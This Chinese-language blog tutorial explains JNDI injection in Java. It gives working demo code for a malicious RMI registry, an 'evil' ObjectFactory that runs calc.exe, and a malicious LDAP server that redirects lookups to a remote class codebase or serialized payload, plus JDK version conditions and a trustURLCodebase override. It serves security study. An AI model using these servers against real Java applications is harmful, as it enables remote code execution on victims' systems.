JNDI Attack

JNDI简介

JNDI(全称Java Naming and Directory Interface-Java命名与目录接口)是用于目录服务的Java API,它允许Java客户端通过名称发现和查找数据和资源(以Java对象的形式)。与主机系统接口的所有Java api一样,JNDI独立于底层实现。此外,它指定了一个服务提供者接口(SPI),该接口允许将目录服务实现插入到框架中。通过JNDI查询的信息可能由服务器、文件或数据库提供,选择取决于所使用的实现。

JNDI服务供应接口(SPI)包括多个部分,分别是:

  • RMI (JAVA远程方法调用)
  • LDAP (轻量级目录访问协议)
  • CORBA (公共对象请求代理体系结构)
  • DNS (域名服务)
  • NIS
  • NDS

QuickStart

首先使用类public InitialContext(Hashtable<?,?> environment)初始化一个上下文,然后指定两个参数:

  • Context.INITIAL_CONTEXT_FACTORY:决定context使用的协议。
  • Context.PROVIDER_URL:远程地址。

最后执行InitialContext的各种操作:bind、rebind、unbind、lookup等等,以RMI为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//S端注册Registry,并将对象绑定至rmi://localhost:1099/hello
RMIServer1.RemoteHelloWorld remoteHelloWorld = new RMIServer1.RemoteHelloWorld();
Hashtable<String, String> hashtable = new Hashtable<>();
hashtable.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
hashtable.put(Context.PROVIDER_URL,"rmi://localhost:1099");
InitialContext initialContext1 = new InitialContext(hashtable);
initialContext1.bind("hello",remoteHelloWorld);
initialContext1.close();

//C端lookup查找并调用hello()
RMIServer1.RemoteHelloWorld remoteHelloWorld = new RMIServer1.RemoteHelloWorld();
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");
InitialContext initialContext1 = new InitialContext(env);
RMIServer1.IRemoteHelloWorld hello = (RMIServer1.IRemoteHelloWorld)initialContext1.lookup("hello");
hello.hello(new String());

当然这种方式是属于静态固定环境加载

动态协议加载&Reference

动态加载

前面我们提到可以使用public InitialContext(Hashtable<?,?> environment)创建上下文,在environment中指定协议类型与URL,如果不指定任何的urlInfo,直接执行context的操作bind、lookup,JNDI又会如何加载呢?跟进发现这些绑定与查找的context方法都会先进入getURLOrDefaultInitCtx

然后有两处判断:

如果没有指定context信息,并且url里带协议URLScheme如rmi://xxxldap:://xxx则进入getURLContext=>getURLObject,注释中也给出了不同条件下的处理方式。

可以看到获取远程工厂类,如果获取不到则返回null,即远程类必须继承自ObjectFactory

Refence引用类包装

JNDI中存在一种特殊的引用对象Reference,它可以基于Class对象与地址构造一个引用,意味着我们可以用地址获取到Reference包装后得到对象,他有四种构造方法分别是:

  • Reference(String className) 为类名为className的对象构造一个新的引用。
  • Reference(String className, RefAddr addr) 为类名为className的对象、地址构造一个新引用。
  • Reference(String className, RefAddr addr, String factory, String factoryLocation) 为类名为className的对象,对象工厂的类名、位置、对象的地址构造一个新引用。
  • Reference(String className, String factory, String factoryLocation)为类名为className的对象、对象工厂的类名、位置构造一个新引用。

其中RefAddr就是Reference的地址,可以类比为地址(RefAddr)与指针(Reference)的关系。

值得注意的是,除了直接使用地址去获取Reference指向的对象之外,Reference也支持C端以工厂类的方式去远程加载一个工厂类在本地创建对象。即Reference支持封装工厂类并供远程加载

JNDI&RMI

解析过程

在RMI我们讲到可以使用RMI协议远程类加载,并且类加载的路径为codebase。事实上java rmi提供了一个装饰类ReferenceWrapper用以将JNDI中的Reference包装成RMI中的Remote远程对象,根据前文中提到的内容如果Reference引用的是一个factory工厂类那么就会调用工厂类的getObjectInstance方法,获取到factory后lookup的下一步就是执行decodeObject()解析对象:

下一步获取Reference引用:

然后拿到Reference引用的工厂类:

下一步loadClass,注意这一步,首先尝试在本地ClassPath中加载类,否则就是用codebase加载,代码和注释都很清晰

  • 注意使用codebase加载在jdk高版本(JDK >= 11.0.1、8u191、7u201、6u211)需要开启trustURLCodebase
1
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); 

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//Server
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("evil", "evil", "http://127.0.0.1:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
registry.bind("hello", refObjWrapper);

//Client
String uri = "rmi://127.0.0.1:1099/hello";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);


//evil ObjectFactory
public class evil implements ObjectFactory {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
System.out.println("evil code called !\n");
return null;
}
}

JNDI&LDAP

JNDI中的LDAP也支持远程类加载,有两种方式:

因此也派生出两种构造恶意LDAP服务器的利用方式。

注意:加载远程Reference依然受codebase的影响,即jdk>8u191的情况下默认无法利用;加载序列化数据不受版本影响,只要受害机存在对应的的反序列化利用链即可。

1.加载恶意Reference

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
//ldap server from unboundid-ldap

public class LDAPServer0 {

private static final String LDAP_BASE = "dc=example,dc=com";

public static void main ( String[] tmp_args ) {
//恶意类http挂载URL,LDAP Server收到查询请求后就会重定向至http://127.0.0.1:8000/Spr1n9.class。
String[] args=new String[]{"http://127.0.0.1:8000/#Spr1n9"};
//LDAP端口
int port = 8888;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
1
2
3
4
5
6
7
8
9
10
//Client
public class LDAPClient0 {
public static void main(String[] args) throws Exception{
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
String uri = "ldap://127.0.0.1:8888/aaa";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);

}
}

2.返回恶意序列化数据

这部分只需要修改sendResult方法即可,其它保持不变:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
//在这里填充payload
e.addAttribute("javaSerializedData", Base64.decode("__BASE64_PAYLOAD__"));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

总结

攻击类型 适用jdk版本 需要条件
JNDI+RMI (Reference Remote Factory) <6u132, 7u122, 8u113
JNDI+RMI (Reference Local Factory) 任意 调用端存在利用链
JNDI+LDAP (Reference Remote Codebase) <11.0.1, 8u191, 7u201, 6u211
JNDI+LDAP (Serialize Object) 任意 调用端存在反序列化链

附录

JNDI定义详解

JNDI ==> Java Naming and Directory Interface ==> JAVA 名称和目录接口

Naming

Directory

Interface

为了方便在JAVA中使用目录协议,JAVA实现了一套目录服务的接口——JDNI,即Java 的名称与目录服务接口,应用通过该接口与具体的目录服务进行交互。从设计上,JNDI独立于具体的目录服务实现,因此可以针对不同的目录服务提供统一的操作接口。

JNDI架构上主要包含两个部分,即 Java 的应用层接口和服务供应接口(SPI),如下图所示:

常用package

java实现JNDI服务主要在下面5个包中:

  • javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类;
  • javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir-Context类;
  • javax.naming.event:在命名目录服务器中请求事件通知;
  • javax.naming.ldap:提供LDAP支持;
  • javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。

REF

JNDI:

高版本bypass:


JNDI Attack
http://example.com/2023/06/02/JNDI Attack/
Author
springtime
Posted on
June 2, 2023
Licensed under